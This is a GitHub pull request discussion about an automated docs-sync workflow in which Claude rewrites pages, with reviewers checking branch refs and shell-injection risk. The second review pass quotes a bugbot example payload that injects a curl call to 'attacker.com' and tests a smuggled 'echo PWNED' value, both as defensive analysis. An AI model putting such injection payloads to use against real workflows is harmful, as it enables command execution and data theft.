Develop

[divyasinghds]

Summary

Related

Type of change

• Feature
• Bug fix
• Tech-debt / refactor
• Docs
• Security / hardening
• Breaking change

Test plan

Screenshots / recordings

Deployment notes

Checklist

• Tests added / updated and passing locally
• Docs updated if behavior or config changed
• No secrets / credentials in the diff
• For security-sensitive paths: appropriate reviewer requested

---

Note

Medium Risk
Adds a scheduled/dispatch-triggered GitHub Actions pipeline that fetches content from multiple repos and uses Claude to rewrite docs pages, which could introduce unintended documentation changes and relies on multiple secrets/tokens.

Overview
Introduces an automated docs sync system driven by .github/sync-sources.yml: upstream README changes can now trigger a repository_dispatch, which runs a new sync-docs workflow to fetch the upstream files and use anthropics/claude-code-action to update only the mapped dest .mdx pages, then open/update a PR on docs/sync-upstream.

Updates several docs pages to align with the renamed Python SDK (tracebloc_package → tracebloc) and newer snake_case API method names, adjusts install guidance to use framework extras (e.g. pip install "tracebloc[pytorch]"), simplifies the data-ingestor Docker build instructions, and rewires navigation/redirects in docs.json to point legacy tracebloc-package URLs to tools-help/tracebloc.

^{Reviewed by Cursor Bugbot for commit 4771d1f. Bugbot is set up for automated code reviews on this repo. Configure here.}

[saadqbal]

Reviewer pass (acting as a second-look reviewer alongside bugbot)

Bugbot finding — false positive

data-ingestors source entry uses src: Readme.md while all four others use README.md … the fetch will 404.

Verified against the upstream repo — the file is actually named Readme.md (mixed case):

$ gh api repos/tracebloc/data-ingestors/contents/?ref=master --jq '.[] | select(.name | test("readme"; "i")) | .name'
Readme.md
$ gh api repos/tracebloc/data-ingestors/contents/README.md
{"message":"Not Found","status":"404"}

Applying bugbot's suggestion (Readme.md → README.md) would actually break the fetch. Left as-is.

Real bugs found during the same audit (fixed in aaaac32)

While verifying the casing claim I checked ref: for every entry. Three entries point at main branches that don't exist upstream — the fetch step would 404 for all three on the first run:

id	configured ref	upstream default	fix
tracebloc-package	main	develop (no main branch; master is deprecated per the SDK repo's CLAUDE.md)	→ develop
data-ingestors	main	master (no main branch)	→ master
model-zoo	main	master (no main branch)	→ master

Only client and start-training actually have a main branch, so those entries were already correct.

Other things I looked at and didn't change

• sync-docs.yml snapshots sync-sources.yml from the base branch before checking out docs/sync-upstream — protects against stale config from a pending PR. Good.
• concurrency.cancel-in-progress: false is the right call for a write-side workflow; a cancelled run mid-commit would be worse than a queue.
• add-paths: "**/*.mdx" in peter-evans/create-pull-request is a reasonable belt-and-suspenders on top of the Claude prompt's "do not edit outside dest paths" instruction.
• The notify-docs template's per-repo customization comments (paths:, branches:) already cover the Readme.md / master cases for the three repos that need it — anyone copying the template into data-ingestors or model-zoo will see the guidance.

Suggested follow-ups (non-blocking)

• The PR title is just Develop — worth retitling before merge so the changelog/squash commit reads sensibly (e.g. docs: add upstream sync workflow + 0.8.x SDK rename).
• Consider a CI lint that validates every ref and src in sync-sources.yml actually resolves on GitHub (a one-shot gh api repos/.../contents/<src>?ref=<ref> per entry) — would have caught the three broken refs before merge.

[cursor]

Cursor Bugbot has reviewed your changes and found 1 potential issue.

^{❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, enable autofix in the Cursor dashboard.}

^{Reviewed by Cursor Bugbot for commit aaaac32. Configure here.}

[saadqbal]

Reviewer pass #2

Bugbot finding — partially correct; fix applied (4771d1f)

The \$target variable, sourced from client_payload.source_id, is expanded inside a double-quoted shell string passed to yq … a source_id of x"; curl attacker.com/exfil…; # would execute arbitrary commands.

The specific RCE doesn't actually trigger:

1. DISPATCH_ID / INPUT_ID are routed through env: (GitHub Actions best practice for untrusted input), so \${{ }} interpolation produces a literal env-var value, not script text.
2. Bash does not re-tokenize values expanded inside double quotes — \$(), backticks, and ; in a variable's value are passed through as literal characters, not re-evaluated.

Reproduced locally:

$ DISPATCH_ID='x"; echo PWNED; #' bash -c \
    'target="\${DISPATCH_ID:-}"; echo arg=".sources[] | select(.id == \\"\$target\\")"'
arg=.sources[] | select(.id == "x"; echo PWNED; #")

No PWNED — echo PWNED is part of the yq argument, not a shell command.

But bugbot is right that this needs hardening anyway. Even without shell-level RCE, a \" in the payload would terminate the yq string literal at the parser level. Worst case is a malformed query or an unintended filter — not RCE, but also not what we want. The fix in 4771d1f routes the value through strenv(TARGET) so it never touches the yq expression syntax:

TARGET="\$target" yq -o=json \
  '.sources[] | select(.id == strenv(TARGET))' \
  /tmp/sync-sources.yml | jq -s . > /tmp/sources.json

Additional things I noticed (non-blocking, leaving for maintainer)

1. add-paths: "**/*.mdx" is broader than the actual destinations. The Claude prompt says "do not edit files outside dest paths," but there's no mechanical enforcement. If Claude touches an unrelated .mdx, the create-pull-request step will happily commit it. Worth computing the dest list from sync-sources.yml at runtime and passing those paths explicitly — turns the soft instruction into a hard guard.

2. wget install of yq has no checksum verification (.github/workflows/sync-docs.yml#L55-L58). If a future GitHub runner image change or transient TLS issue ever served a tampered binary, it would run with contents: write + access to SOURCE_REPOS_TOKEN and ANTHROPIC_API_KEY. Pinning the sha256 (or switching to uses: mikefarah/yq@…) closes that door cheaply.

3. Third-party actions pinned by tag, not SHA (peter-evans/create-pull-request@v6, anthropics/claude-code-action@v1). Standard practice in this repo, but if the org adopts SHA-pinning later, this workflow is in scope.

These are reviewer suggestions, not blockers — the PR as-is (with 4771d1f) is safe to merge.